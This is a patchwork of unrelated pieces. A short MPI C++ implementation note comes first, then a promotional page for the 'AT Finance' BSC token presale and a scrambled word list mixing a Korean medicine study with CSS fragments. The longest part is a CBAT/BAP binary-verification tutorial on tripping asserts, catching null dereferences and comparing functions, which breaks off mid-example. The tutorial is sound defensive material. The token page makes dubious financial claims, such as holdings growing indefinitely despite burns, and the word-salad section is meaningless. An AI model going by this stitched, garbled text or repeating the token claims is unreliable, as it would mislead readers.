constants.cc, to be compiled into
libmpi.a.
const MPI::Intracomm MPI::COMM_WORLD;
Example
mpi_no_profile.cc, to be compiled into
libmpi.a.
int MPI::Comm::Get_size() const { return pmpi_comm.Get_size(); }
Example
mpi_profile.cc, to be compiled into libpmpi.a.
int MPI::Comm::Get_size() const { // Do profiling stuff int ret = pmpi_comm.Get_size(); // More profiling stuff return ret; }
( End of advice to implementors.)


Start your next project with us!
Buy at PancakeSwap Smart Contract AuditEcosystem
Part of the $AT Ecosystem
Launchpad
The IDO will give community members the chance to get in on the ground floor and claim a new token on the launchpad.
Liquidity Aggregator
Traders use liquidity aggregators to find the best possible price across a variety of liquidity pools.
Farming/Staking
With each IDO launched on our platform, a new farming pool will be deployed based on the launched token.
NFT Marketplace
Users can easily create as many collectibles as they wish, sell them, or decide not to sell on this network.
AT Finance Launchpad
Join the community. Be the first to decentralize the way you raise capital for your ideas.
Tokenomics
100,000,000 Total Supply
Token Network: Binance Smart Chain (BSC)
Token Type: BEP-20
Token Distribution
40% Pre-Sale Token Distribution
Deflationary Token
Burning Cycle
When a token is excluded from the current pool of cryptocurrencies in circulation, it is burned. Thus, $AT will run for a total of 148 cycles.
Burn Rate
As people transact, the sum of tokens in your wallet will continue to grow indefinitely. Therefore, the burn rate for AT Finance is from 5% to 12%.
Rebase
This burn will cause a positive rebase when the total burned tokens exceed the target threshold and distributing 50% of the burnt supply to token holders.
Roadmap
$AT Roadmap
Farming & Staking Pools
Initial Token Release
Initial Launchpad Release (ALPHA)
Liquidity Aggregator Starting Development
Launchpad Release Stable v1
Initial Liquidity Aggregator Release (ALPHA)
NFT Marketplace Starting Development
Initial NFT Marketplace Release (ALPHA)
Liquidity Aggregator Release Stable v1
NFT Marketplace Release Stable V1
Our Team
Mad Syukri
Lead Developer
Antonio Moratti
Community Manager
HarryS.
Solidity Programmer
Chou Min Zhou
Solidity Programmer
MarkosX
Backend Developer
Carl John
Backend Developer
Brenda Hart
Frontend Developer
RUN3
Frontend Developer
FAQs
AT Finance is a small ecosystem created by 6 DAPPs on the Binance Smart Chain Network, which contains an NFT Marketplace, a Liquidity Aggregator platform, a Farming & Staking platform, a BSC Tokens Launchpad, and other two platform waiting to be disclosed which is developed based in Indonesia and Singapore.
$AT can be bought at UniCrypt during Pre-Sale starting on 18th May 2021 and purchased afterward in PancakeSwap.
$AT max token supply will be 100,000,000. Due to that token supply, it will be deflationary.
The slippage is between 5% to 15%.
There will be a total of 148 burning cycles in the circulation of 5% to 12% burning rate, and this burn rate will impact a positive rebase when the total burned tokens exceed the target threshold and distributing 50% of the burnt supply to token holders.


TKM fatigue chronic patients participants Korean medicine treatment symptoms (Participant medical traditional study {border-style doctors felt moxibustion px;} #ffffff;} F/) fatigue. research Herbal physical acupuncture alternative data Western medications M/) experience life medicine, reported Korea TKM. conventional effects interview qualitative Med based daily medicine. related symptoms. western did interviews severe specific therapy treatments. Additionally, However, acupuncture, care different disease experienced experiences feel herbal interviewees motivation patient's positive psychological px; {font-family CAM Kim University addition, believed choosing comfortable conducted considered does fatigue, font-size hospitals including interventions patients’ study, syndrome use using Korea. [], burden condition content cupping double; healthcare perception previous process recognised social study. taking treatments (TKM) Chronic Complement Data Korea, Participants Shin TKM, analysis border-color border-width categories clinical condition. difficulty effect effective family feeling good included just limitations lives patients. perceptions practice provide questions regarding results say solid; table treat treatment, tried underlying used visiting {font-style {font-weight BMJ Chinese Department Headache, KRW Lack Nursing Open Park Physical Saam Traditional accepted activities. associated better bold cause character collection constitutional courier; difficult diseases dissatisfaction doctor don't eating em; exercise, factors headache health help illness. improving in-depth long main medication method methods need one-on-one, participated personal perspective present pt;} relieve researcher researchers said sleep symptom symptoms, tend treatment. visit want


Table of contents:
For this tutorial, make sure you are in the CBAT Docker container. Instructions for installing the container can be found here.
All commands for this tutorial should be run from this directory:
/path/to/cbat_tools/docs/tutorial
Let us begin by providing a brief overview of what CBAT is, and what it does.
CBAT is a tool that helps you analyze the behavior of binary executables (i.e., compiled programs). So it does not analyze the source code you have written in C, or Rust, or what have you. Rather, CBAT analyzes the assembly-level machine instructions that the computer executes directly when it runs your compiled program.
This is useful, because the executable is the real program. High level programming languages offer lots of different features, but at the end of the day, it all gets compiled down to the same basic machine instructions, and that is what CBAT analyzes.
At its heart, CBAT checks whether a function in your program (or programs) behaves in a certain way. In other words, it can verify that a function in your program has certain properties.
To illustrate the point, imagine the following. Suppose there is a function foo
in your program, and you want to know if it always produces the number 10
as its output. You can ask CBAT to check this for you.
CBAT will explore all logical possibilities, and find if there is any possible way that foo
could produce anything other than 10
. If it finds a way, it will give you an example of inputs you can feed into foo
to make it do what you didn't expect.
It is worth emphasizing that CBAT does not perform a probabilistic or fuzzy sort of check here. CBAT performs a mathematical check of all logical possibilities.
We do make a few simplifying assumptions for the sake of performance, but for the most part, this means that (up to our assumptions) if there is any way to make foo
produce anything other than 10
, CBAT will find it. By contrast, if CBAT cannot find a way, then CBAT has essentially found a logical proof that foo
always produces 10
.
CBAT can analyze functions in a single binary program, but it can also compare functions in two different programs, and check whether their behavior is the same.
This is useful for checking whether a newer, modified version of a program still works the same way as an older version.
For example, suppose you make some improvements to foo
, and you want to know whether your improvements have broken anything. CBAT can analyze both your original and your improved program, and make sure that the modified version of foo
always produces the same output as the original version of foo
.
CBAT is a family of command line tools built on top of Carnegie Mellon's Binary Analysis Platform (BAP). CBAT and BAP do not analyse high-level code in a source language like C or Rust. Rather, they analyze the compiled, "binary" version of such programs.
When you compile (say) a C program or a Rust program, the compiler converts your source code into machine code, which the computer can execute directly.
Machine code is pretty simple. A machine has a bunch of registers that you can stash values in, often with well-known names like RAX
, RDI
, R9
, and so on:
+----------+---------------+ | Register | Slot | +----------+---------------+ | RAX | 0x000000 | <--- values go in the slots +----------+---------------+ | RDI | 0x000023 | +----------+---------------+ | RBP | 0x000000 | +----------+---------------+ | R9 | 0x000000 | +----------+---------------+ | R10 | 0x000000 | +----------+---------------+ | ... | ... | +----------+---------------+
There are also a number of smaller registers, often call flags, which can really only contain a one or zero, to indicate that they are "on" or "off." They often have names like ZF
, OF
, and so on:
+------+--------+ | Flag | On/off | +------+--------+ | ZF | 0x0 | <--- Flag is off +------+--------+ | OF | 0x1 | <--- Flag is on +------+--------+ | AF | 0x0 | +------+--------+ | ... | ... | +------+--------+
Finally, there are regions of memory you can stash values in too. Memory is basically just another array of slots you can put bytes in, and each slot has an address.
+----------+-------+ | Address | Slot | +----------+-------+ | 0x000000 | 0x00 | <--- bytes go in the slots +----------+-------+ | 0x000001 | 0x23 | +----------+-------+ | 0x000002 | 0xaf | +----------+-------+ | 0x000003 | 0xa2 | +----------+-------+ | ... | ... | +----------+-------+
The machine doesn't let you do very much with all of these slots. Basically, you can put values in and out of them, you can compare values in them, and you can do very basic arithmetic on them.
The addresses and values used by the machine are always binary numbers, i.e., sequences of ones and zeros. These are called bitvectors (or sometimes just "binary numbers").
There is also a GOTO instruction, which tells the machine to jump to a different instruction in your program. So this is all really just simple GOTO-style programming, with a bunch of slots to put your (binary) values in.
One of the problems with binary analysis is that every computer architecture is different. The slots are laid out differently, and the machine instructions take different forms. For this reason, programs compiled for, say, x86_64
look different than those compiled for ARM
.
BAP is a big help here. It takes most of these variations in machine instructions, and it lifts them into a unified and simpler form of machine code, which it calls BIR (short for the "BAP Intermediate Representation"). We'll just call it the "IR" for short.
As was noted already, when code written in, say, C is compiled down to machine code, everything gets converted into simple machine instructions which basically shuffle values in and out of the various slots.
Of course, functions in C code take arguments, and they return values. At the level of machine code, these arguments are handled by putting them in slots, and the return values are handled by putting them into slots too.
In x86_64
programs (which is what we'll be looking at), the first argument to a function is always placed in a register called RDI
, and the function's return value is always placed in a register called RAX
.
For example, suppose we have a function in C that returns the value 7
:
int foo(int x) { ... return 7; }
In BAP's IR, the return value would be handled like this:
00000436: subroutine foo... <-- Start of the function foo 00000443: ... 00000450: RAX := 0x07 <-- Put the result in RAX to return 00000458: return... <-- Return to the caller
The numbers at the start of each line are unique identifiers, one for each line. The instructions come after those numbers, to the right. Instruction identifiers in this tutorial may differ from the ones you see when running CBAT interactively. That's okay; different versions or runs of CBAT can produce different numberings.
You can see here that the value 7
is placed in the register RAX
, and then the function returns. This is how the function returns 7. Return values are always placed in RAX
.
Similarly, the argument to a function always goes in a register called RDI
. For example, to call the above foo
function with 3
as the parameter, that would look something like this in BAP's IR:
00000467: RDI := 0x03 <-- Put the argument in RDI 00000476: call foo <-- Call the function
You can see here that the value 3
is placed in the register RDI
, and then the function foo
is called. This is how functions are called with an argument. The argument always goes in RDI
.
(If your function takes more than one argument, the second argument always goes in a register called RSI
, and there are other established slots for the third argument, the fourth argument, and so on).
The important things to remember in our examples is just that the argument to a function always goes in RDI
, and the return value always goes in RAX
.
To make the examples in this tutorial easy to follow, we have provided C code for each program. However, remember that CBAT actually operates on the machine code — no source code is necessary to use CBAT. On occasion, we will pay attention to the machine code, particularly the argument register (RDI
) and the return value register (RAX
).
BAP itself is a framework for analyzing binary programs. It has a command line interface, which you can extend with your own plugins. What BAP does is it takes a binary program, and lets you run a pass over the program, during which time your plugin can dig in and analyze the internals of that program.
Our CBAT tools are implemented primarily as BAP plugins. The particular plugin that we will focus on here is called wp
. If you are curious what that stands for, it is short for "weakest precondition," which is the technical name in the literature for the kind of analysis that wp
performs.
The wp
plugin has two modes of operation. In the first mode, it can make a pass over a single binary program, and analyze a function in that program. In the second mode, it can make a pass over two programs, and compare a function in them. Here we cover the first mode — the second mode will be covered when we reach the first example that uses it.
To analyze a single program, the command you want to invoke has this basic form:
$ bap wp \ <-- The command is wp --func=FUNC \ <-- The function to examine [options] \ <-- Any extra options /path/to/exe <-- The path to a binary program
This will tell CBAT to go into the program at /path/to/exe
, and analyze the function FUNC
that occurs in that program.
There are various [options]
you can specify, to tell CBAT to do different things as it analyzes your program. We will illustrate the most important options throughout the following tutorial.
The wp
tool is quite general. You can tell it to verify that your functions have certain properties, and you can specify your own custom properties that wp
should check for.
As a convenience, we have provided some predefined properties, which are built-in to the tool. One of them is this: wp
can check if it is possible to trigger an assert in a function in your program.
Consider the following simple C program (which lives at tutorial/01/binary/main.c):
#include <assert.h> int main(int argc, char** argv) { if (argc == 0xdeadbeef) { assert(0); } return 0; }
Here we have a main
function, which takes an argument, argc
(we can ignore argv
).
argc
is dead beef (see how it's 0xdeadbeef
?), then the program trips an assert, which causes it to halt.0
, which means success, and it exits cleanly.Visually, here's the control flow:
------------ | main | ------------ | -------------------------- | | argc == 0xdeadbeef otherwise | | V V ---------------- --------------- | assert(0) | | return 0 | ---------------- --------------- | | V V Program Program fails exits cleanly
As you can see from this diagram, if argc
is 0xdeadbeef
, then the program travels down the left branch, where an assert is tripped, and the program fails. Otherwise, it goes down the right branch, where the program returns 0
, and exits cleanly.
Now, this is a C program, and as we noted earlier, wp
does not analyze the C code itself. Rather, wp
analyzes the compiled version of this program. We started with the C code here, just because it is easy to see what is going on. But the real program is what you get when you compile it.
Let's see what the machine instructions look like just for the branching part of the if
statement in our example program. We can ask BAP to show us the machine instructions as it sees them, like this:
$ bap 01/binary/main -d --print-symbol=main
You don't need to do that right now. But if you did, you could look through the output, until you find the relevant instructions, which should look something like this:
00000481: when #5 goto %0000047b <-------- When #5 is 1, go here ---+ 00000879: goto %000006f9 <------------ Otherwise, go here --+ | | | 000006f9: ... <--------------------------------------------+ | 00000722: call @__assert_fail ... <--- trip the assert | | 0000047b: ... <-----------------------------------------------------+ 000004aa: call #52 with noreturn <--- exit cleanly
At the first instruction printed here (numbered 00000481
), you can see that the machine is going to jump to instruction 0000047b
when the value of a virtual variable called #5
is true (i.e., 1
). You can think of a virtual variable as a temporary variable at an unspecified location.
So if we suppose that #5
is 1
, we can see what happens next, by following the machine down to the instruction at 000047b
. There, we can see that the program exits cleanly.
Alternatively, if #5
is not 1
, then the machine doesn't jump at 00000481
, and instead moves down to the next instruction, at 0000879
. What happens there? The machine jumps directly to instruction 0000006f9
, and if we look there, we can see that it trips the assert we are looking for.
Even though these are machine instructions and not C code, there is still a clear control flow here, similar to what we saw for the C code:
------------ | main | ------------ | 000000481 | ---------------------------- | | ~ #5 #5 | | V V ---------------- -------------------- | 00000722: | | 000004aa: | | assert_fail | | call ... (exit) | ---------------- -------------------- | | V V Program Program fails exits clean
Of course, just because there is a branch in the code where an assert is tripped, that doesn't mean the program can actually travel down that branch. Programs can have "dead" branches, which are impossible to travel down:
if true: do_something() else: never_called() # Dead code, never called
What we want to know in our example is whether there is any way that the main
function can actually get to the branch that trips the assert.
We can ask wp
to find out if this is possible. To do that, invoke wp
like this:
$ bap wp \ --func=main \ --trip-asserts \ 01/binary/main
Here we ask wp
to try to trip an assert inside the main
function of the program at 01/binary/main
. When we run this command, the relevant output comes at the end, which looks like this:
SAT! Model: ZF |-> 0x0 SF |-> 0x0 RSP |-> 0x000000003f800081 RSI |-> 0x0000000000000000 RDX |-> 0x0000000000000000 RDI |-> 0x00000000deadbeef RCX |-> 0x0000000000000000 RBP |-> 0x0000000000000000 RAX |-> 0x0000000000000000 R9 |-> 0x0000000000000000 R8 |-> 0x0000000000000000 PF |-> 0x0 OF |-> 0x0 CF |-> 0x0 AF |-> 0x0 mem_orig |-> [ else |-> 0x00] mem_mod = mem_orig
The first thing it says is SAT!
, which means that CBAT was able to find a way to trip the assert.
Next, it says Model
, after which it lists some information. There, you can see a bunch of registers on the left, and a bunch of values on the right (and a mention of memory at the bottom, which we can ignore for now).
What this tells us is how to trip the assert. The idea here is that if we set the registers (and memory) to these particular values at the start of the main
function, then main
will trip the assert.
In this particular example, we can see that most of the registers are set to zero. The one that is interesting here is RDI
. Remember that RDI
is where the argument to the function goes. And here, wp
tells us that this register should be set to 0xdeadbeef
. That is to say, wp
is telling us that if we set RDI
to 0xdeadbeef
, then our function main
will trip the assert. And that of course makes sense, given the control flow that we examined in this function.
It can be instructive to step through the machine instructions, and actually see the function exhibit this behavior.
One of the tools in the CBAT family is an interactive debugger that lets you do just that: step through a program, one machine instruction at a time. The tool is called bildb
(short for "BAP Intermediate Language DeBugger"), and the command to invoke it looks like this:
$ bap 01/binary/main \ --pass=run \ --run-entry-point=main \ --bildb-debug
That will start up the debugger at the main
function of the program at 01/binary/main
.
That will start up bildb
at the main
function in 01/binary/main
. You should see something like this:
BIL Debugger Starting up... Architecture Type: x86_64 Address size: 64 Registers: R10 R11 R12 R13 R14 R15 R8 R9 RAX RBP RBX RCX RDI RDX RSI RSP YMM0 YMM1 YMM10 YMM11 YMM12 YMM13 YMM14 YMM15 YMM2 YMM3 YMM4 YMM5 YMM6 YMM7 YMM8 YMM9 Entering subroutine: [%00000868] main 0000088d: main_argc :: in u32 = RDI 0000088e: main_argv :: in out u64 = RSI 0000088f: main_result :: out u32 = RAX Entering block %00000413 0000041a: #46 := RBP >>> (h for help)
You can see that at startup bildb
prints some information about the architecture and its initialization state, then it enters the function (subroutine) main
, where it stops at the first instruction in the first block, namely:
0000041a: #46 := RBP
The instruction's identifying number is on the left of the colon, and the instruction itself is on the right of the colon.
Below that, bildb
gives you a prompt, where you can type a command:
>>> (h for help)
There are various commands you can enter here, but they are fairly straightforward. For example, to see more than just one instruction, type show 5
and hit enter (to see the nearest +/- 5 lines):
>>> (h for help) show 5 %00000413 -> 0000041a: #46 := RBP 0000041d: RSP := RSP - 8 00000420: mem := mem with [RSP, el]:u64 <- #46 00000427: RBP := RSP 00000435: #47 := RSP 00000438: RSP := RSP - 0x10
Another thing you can do is see which values are stored in registers. For instance, to see the value stored in RBP
, type p RBP
(short for "print RPB
") and hit enter
. You should see something like this:
>>> (h for help) p RBP RBP : 0
This tells you that the RBP
register has the value zero stored in it.
Remember how wp
told us that main
will trip the assert if it begins with RDI
set to 0xdeadbeef
? Let's set that value, and see if we can trip the assert.
To set RDI
to 0xdeadbeef
, type set RDI=0xdeadbeef
and hit enter
. You'll see that bildb
sets the value:
>>> (h for help) set RDI=0xdeadbeef RDI : 0xDEADBEEF
Now you should be able to step through this program, instruction by instruction, and you should end up triggering the assert.
To move to the next instruction, hit s
(for "step"), and hit enter
. That moves to the next instruction:
>>> (h for help) s 0000041d: RSP := RSP - 8
You could keep stepping through this program, one instruction at a time, but you can also just set a breakpoint at the instruction you want, and skip ahead to it.
Let's set a breakpoint at the assert, to see if we reach it. Recall the control flow graph we saw before:
------------ | main | ------------ | 000000481 | ---------------------------- | | ~ #5 #5 | | V V ---------------- -------------------- | 00000722: | | 000004aa: | | assert_fail | | call ... (exit) | ---------------- -------------------- | | V V Program Program fails exits clean
You can see that the assert happens at instruction 00000722
, so let's set a breakpoint there. To set a breakpoint, type b %00000722
(short for "breakpoint at instruction 00000722
"):
>>> (h for help) b %00000722 Breakpoint set at %00000722
Now let's see if we get to that breakpoint. To tell the debugger to move forward, type n
(for "next") and hit enter
. The debugger takes us to the next block:
Entering block %000006f9 000006fe: RCX := 0x4005ED
Type n
(and enter
) to skip forward again, and you will see that you hit the breakpoint at 00000722
:
>>> (h for help) n 00000722: call @__assert_fail with return %0000047b
At this point, you have confirmed that the program does indeed trip the assert if RDI is set to 0xdeadbeef
at the beginning of main
.
You could keep stepping through the program, but there is no need at this point. You can just exit the debugger. To quit the debugger, hit q
and then enter
.
wp
up to bildb
Instead of manually setting the values of registers in bildb
to see the behavior that wp
tells you about, you can have wp
dump its output into a YAML file, and then have bildb
read that in, at startup. To have wp
dump its output like this, run the following command:
$ bap wp \ --func=main \ --trip-asserts \ --bildb-output=init.yml \ 01/binary/main
Notice how you simply added the option --bildb-output=init.yml
to the command. That tells wp
to dump the appropriate output into a file called init.yml
.
Once you have that file at hand, you can start bildb
with it, like this:
$ bap 01/binary/main \ --pass=run \ --run-entry-point=main \ --bildb-debug \ --bildb-init=init.yml
Notice how we added the option --bildb-init=init.yml
. When bildb
starts up, it will read init.yml
, and set the registers to the values listed there. From there, you can set the breakpoint at 00000722
and run through the program exactly as before.
As we saw in the last example, wp
can find a way to trip an assert, if it's possible to do so, and it will tell us how to do it. This can be used to solve puzzles of various kinds.
As an example, consider the 8-Queens chess puzzle. The task is this: on a standard 8x8 chess board, place 8 queens on the board in places where none of them can be captured by any of the others in a single move. Queens can move up/down, sideways, and diagonally, so you have to be careful to place the queens out of each other's paths.
For simplicity, let's do a simpler version: the 4-Rooks puzzle. It's just like the 8-Queens puzzle, except we have 4 rooks, and the board is a 4x4 board. Rooks can move up and down, and sideways.
Since this version of the game is less complex, it is somewhat easy to think up a solution. For example, here is one:
+---+---+---+---+ | R | | | | +---+---+---+---+ | | | R | | +---+---+---+---+ | | R | | | +---+---+---+---+ | | | | R | +---+---+---+---+
As you can see, each of these rooks is out of the path of the others, so none can be captured by any of the others in a single move.
Now suppose that you have a function (in C) that checks solutions to the 4-rooks puzzle. Imagine that the function looks something like this:
/* This function checks if solution is correct. */ int check(int solution) { bool correct = true; // Check if solution is correct... if (correct) { assert(0); } return 0; }
This function takes a solution to the 4-rooks game as an argument, it then checks the solution, and if the solution is correct, it trips an assert.
How do we encode a proposed solution, so that we can pass it into this function as an argument? Well, since machine code really only works with binary numbers, we'll need to encode proposed solutions as a bitvector.
How can we do that? There are 16 squares on a 4x4 chess board, so let's say that we'll represent the board with a 16-bit binary number, where each bit represents one of the squares. Let's also say that, for each bit, if it's 1
, that means there is a rook at that position, and if it's 0
, that means there is no rook at that position.
To encode a proposed solution as a 16 bit binary number, we mark each position on the board with a 0
or 1
to indicate whether there is a rook at that position. For example:
+---+---+---+---+ +---+---+---+---+ | R | | | | | 1 | 0 | 0 | 0 | ==> 1000 +---+---+---+---+ +---+---+---+---+ | | | R | | | 0 | 0 | 1 | 0 | ==> 0010 +---+---+---+---+ ==> +---+---+---+---+ | | R | | | | 0 | 1 | 0 | 0 | ==> 0100 +---+---+---+---+ +---+---+---+---+ | | | | R | | 0 | 0 | 0 | 1 | ==> 0001 +---+---+---+---+ +---+---+---+---+
Then we line up those bits, one after another, into one 16-bit binary number:
solution = 1000 0010 0100 0001 (or 0x4281 in hex)
So, the check
function takes a 16-bit number as the argument, it then checks the proposed solution to see if it is correct, and it trips an assert if it is correct.
The full code for this function can be found at tutorial/02/binary/main.c. The compiled version of this program is at 02/binary/main
. You can try it out by passing it a hex version of a possible solution. For example:
$ ./02/binary/main 0x2212 $ ./02/binary/main 0x8421
Since we have a function that trips an assert if the solution is correct, we can ask wp
to try and find a way to trip that assert. If wp
can find a way to trip the assert, it will give us an example of an input to the function that will cause this behavior.
Let's try it. Here is the command. We only want to analyze the check
function, which we specify with --func=check
:
$ bap wp \ --func=check \ --trip-asserts \ 02/binary/main
After a moment, wp
returns a result. At the end of the output, you should see something like this:
SAT! Model: ZF |-> 0x0 SF |-> 0x0 RSP |-> 0x0000000040000000 RSI |-> 0x0000000000000000 RDX |-> 0x0000000000000000 RDI |-> 0x0000000000004281 <-- Argument to function RCX |-> 0x0000000000000000 RBP |-> 0x0000000000000000 RAX |-> 0x0000000000000000 R9 |-> 0x0000000000000000 R8 |-> 0x0000000000000000 PF |-> 0x0 OF |-> 0x0 CF |-> 0x0 AF |-> 0x0 mem_orig |-> [ else |-> 0x00] mem_mod = mem_orig
Here, we can see that wp
did indeed find a way to trip the assert, and it provided an example of how to do it.
Look at the registers listed under Model
. Remember that the first argument to a function is always stored in RDI
, and here wp
tells us that if we set that to 0x4281
, then our function check
will trip the assert. (There's more than one correct solution; your CBAT installation might find a different solution.)
What is 0x4281
? In binary, it is:
0100 0010 1000 0001
If we break that up into a 4x4 matrix, we can see the chess board:
+---+---+---+---+ +---+---+---+---+ 0100 ==> | 0 | 1 | 0 | 0 | | | R | | | +---+---+---+---+ +---+---+---+---+ 0010 ==> | 0 | 0 | 1 | 0 | | | | R | | +---+---+---+---+ ==> +---+---+---+---+ 1000 ==> | 1 | 0 | 0 | 0 | | R | | | | +---+---+---+---+ +---+---+---+---+ 0001 ==> | 0 | 0 | 0 | 1 | | | | | R | +---+---+---+---+ +---+---+---+---+
We can see that this is indeed a solution to the 4-rooks problem. Since none of the rooks are in each other's way, none of them can be captured by any of the others in a single move.
This technique applies to many different kinds of puzzles or problems whose solutions can be encoded as a binary number. For example, solving a sudoku puzzle, reversing a hash, and so on.
Another predefined property that wp
can check is that it can find null dereferences in a function. To illustrate, consider the following C program, which can be found at tutorial/03/binary/main.c:
#includeint main() { // Allocate a byte of memory, at address `addr` char *addr = malloc(sizeof(char)); // Store the character 'z' at that address *addr = 'z'; }
In this program, we first allocate a byte of memory, and then we take the address of the byte that gets allocated and we store it in the pointer called addr
. Next, we attempt to store the character z
in the slot at that address.
Suppose I run this program, and suppose that the byte of memory I ask for here is successfully allocated. Well, then everything works great. I get back an address for the allocated byte, and I can then store the character z
at that address.
But things needn't turn out that way. It's always possible that malloc
won't be able to allocate the memory I've asked for, in which case it can't return an address to me. If that happens, it will return NULL
(i.e., 0
). And then, when I try to store z
at that address . . . well, there is no address, so this will segfault.
We can ask wp
to find null dereferences like this one. To check this particular main
function, we can use the following command (note that we add --check-null-derefs
as a flag):
$ bap wp \ --func=main \ --check-null-derefs \ 03/binary/main
If you run this, you'll see output that looks something like this:
SAT! Model: ZF |-> 0x0 SF |-> 0x0 RSP |-> 0x0000000040000000 RSI |-> 0x0000000000000000 RDX |-> 0x0000000000000000 RDI |-> 0x0000000000000000 RCX |-> 0x0000000000000000 RBP |-> 0x0000000000000000 RAX |-> 0x0000000000000000 R9 |-> 0x0000000000000000 R8 |-> 0x0000000000000000 PF |-> 0x0 OF |-> 0x0 CF |-> 0x0 AF |-> 0x0 mem_orig |-> [ else |-> 0x00] mem_mod = mem_orig malloc_ret_RAX016 |-> 0x0000000000000000
First, it says SAT!
, indicating that it did in fact find a way to trigger the null dereference. Second, it gives us a Model
, which shows us how to do it. Notice in particular the very last line:
malloc_ret_RAX016 |-> 0x0000000000000000
This is tells us that if malloc
returns 0
, then we'll end up with a null dereference. And that's exactly right. As we saw, if malloc
returns NULL
(i.e., 0
, which indicates that no address could be allocated), then trying to store a character there will segfault.
Note that we could rewrite the program at tutorial/03/binary/main.c so that it checks for the NULL
memory address before trying to store something there. There is a corrected version at tutorial/03/binary/main_fixed.c:
#includeint main() { // Allocate a byte of memory, at address `addr` char *addr = malloc(sizeof(char)); // Don't proceed if we got no address if (addr == NULL) { return 0; } // Store the character 'z' at that address *addr = 'z'; }
Let's have wp
check this version of the function. The compiled program lives at 03/binary/main_fixed
. So:
$ bap wp \ --func=main \ --check-null-derefs \ 03/binary/main_fixed
Now wp
gives back output that looks like this:
Evaluating precondition. Checking precondition with Z3. UNSAT!
This time, wp
says UNSAT
, which is the opposite of SAT
. In other words, wp
has found that there are no null dereferences in main
. And that is correct. There is indeed no possible way to dereference a null pointer in this version of the program, which wp
confirms.
In the previous examples, we have been using wp
to examine a function in a single binary program, but as mentioned earlier, wp
can compare how a function behaves in two different programs, to see if they behave the same.
To analyze two programs, the command you want to invoke has this basic form:
bap wp \ <-- The command is wp --func=FUNC \ <-- The function to examine in both programs [options] \ <-- Any extra options /path/to/exe1 \ <-- The path to the first binary /path/to/exe2 <-- The path to the second binary
One of the predefined comparative properties that wp
can verify is the following: wp
can look at a function that occurs in two programs, and it can figure out if those functions can produce different outputs.
This can be very useful if, say, you optimize a function. You can ask wp
to compare the old unoptimized version with the new optimized version, and tell you if it's possible for the two functions to give you different outputs.
Suppose we are writing a C program, and we need to know if two integers have the same sign (positive or negative). Here is a very straightforward way to write a function to check (you can find this code in tutorial/04/binary/main_1.c:
bool same_signs(int x, int y) { // When x is negative if(x < 0){ // They have the same sign if x is negative too if (y < 0) { return true; } else { return false; } // When x is positive } else{ // They have the same sign if y is positive too if (y >= 0) { return true; } else { return false; } } }
First, we check if x
is less than zero. If it is, we then check if y
is also less than zero. If so, they have the same sign. Alternatively, if x
is greater than zero, then we check if y
is also greater than zero, and again, if so, then they have the same sign.
This code is fine, but it has a lot of if
statements, so it branches a lot, and hence is not the fastest code on the planet. Suppose we want to optimize this, and we ask a clever junior engineer write a new version. Suppose they come up with the following (this version can be found in tutorial/04/binary/main_2.c:
bool same_signs(int x, int y) { return !((x ^ y) < 0); }
This looks promising. It has none of the branches, and it uses XOR (the caret ^
) as a bit trick.
We want to know: is this optimized version really the same as the earlier version. That is to say, does this optimized version really produce the same outputs as the first version?
We can ask wp
to compare these two functions, and tell us if there is any possible way for the second one to produce a different output than the first one (when given the same input).
Remember that the output of a function is always placed in the RAX
register, so what we really want to know is if there is any way for these two functions to put different values in RAX, given the same inputs. And this is something we can ask wp
to check for us.
This is our first example of using wp
to compare two programs. You can ask wp
to check if both versions of the same_signs
function produce the same output in RAX
. Here is the command:
$ bap wp \ --func=same_signs \ --compare-post-reg-values=RAX \ 04/binary/main_1 \ 04/binary/main_2
Note the parameter --compare-post-reg-values=RAX
in this command. That tells wp
to compare the value in RAX
after the functions finish execution.
When wp
finishes its check, it prints out the following:
Evaluating precondition. Checking precondition with Z3. UNSAT!
What this means is that wp
was not able to find a way to make these two function produce different outputs. And remember, wp
does a logical check, so this is telling us that (up to our simplifying assumptions) it is logically impossible for these two functions to produce different outputs.
That's good news. This tells us that the optimized version of the function is indeed equivalent to the original, in the sense that it will always produce exactly the same outputs as the original.
Another predefined property that wp
can check for when comparing two functions is this: it can check that both versions of the functions make the same function calls in the course of their execution.
Let's illustrate this with an example. Imagine an old program that has been running on a submarine for some time now, which processes signals from the user, and dispatches the task to the appropriate handlers.
There are various signals it can receive:
SURFACE
, which tells the computer to surface the submarine.NAV
, which tells the computer to alter the navigation course of the submarine.DEPLOY
, which tells the computer to deploy a payload (e.g., fire a missile).LOG
, which tells the computer to log the current status of the system.These various signals are encoded in an enum
:
/* Different types of signals */ typedef enum {SURFACE, NAV, LOG, DEPLOY} signal_t;
There are handlers for each one:
/* Stubbed handler for the SURFACE signal */ int surface() { int status_code = 1; // Handle surfacing... return status_code; } /* Stubbed handler for the NAV signal */ int alter_course() { int status_code = 2; // Handle navigation... return status_code; } /* Stubbed handler for the LOG signal */ int log_system_status() { int status_code = 3; // Log the system's status... return status_code; } /* Stubbed handler for the DEPLOY signal */ int deploy_payload() { int status_code = 4; // Deploy the payload... return status_code; }
To process the signal, there is a switch statement:
/* Process a signal, and dispatch to an appropriate handler */ int process_signal(signal_t signal) { int status_code = 0; switch (signal) { case SURFACE: status_code = surface(); break; case NAV: status_code = alter_course(); case LOG: status_code = log_system_status(); break; case DEPLOY: status_code = deploy_payload(); break; } return status_code; }
The switch statement here simply dispatches the task to the appropriate handler, depending on which signal it receives, and then it returns the resulting status code.
But notice that there is no break
statement in the NAV
case. The programmer wanted to have a log happen after every NAV
signal, so they cleverly left off the break
here. That causes execution to fall through from the NAV
case to the LOG
case. Hence, every time this program handles a NAV
signal, it does that, but then it falls through to LOG
, and so it also logs the system status.
The full code for this example can be found at tutorial/05/binary/main_1.c.
Suppose now that, many years later, we have decided that we do not need to have logging in this program anymore, so we apply an automated patch that strips the logging code out.
The patch removes the LOG
from the enum, so now we just have SURFACE
, NAV
, and DEPLOY
:
/* Different types of signals */ typedef enum {SURFACE, NAV, DEPLOY} signal_t;
It also removes the log_status()
handler, so now we just have surface()
, alter_course()
, and deploy_payload()
:
/* Stubbed handler for the SURFACE signal */ int surface() { int status_code = 1; // Handle surfacing... return status_code; } /* Stubbed handler for the NAV signal */ int alter_course() { int status_code = 2; // Handle navigation... return status_code; } /* Stubbed handler for the DEPLOY signal */ int deploy_payload() { int status_code = 4; // Deploy the payload... return status_code; }
And the patch removes the LOG
case from the switch statement, so now we only have the cases for SURFACE
, NAV
, and DEPLOY
:
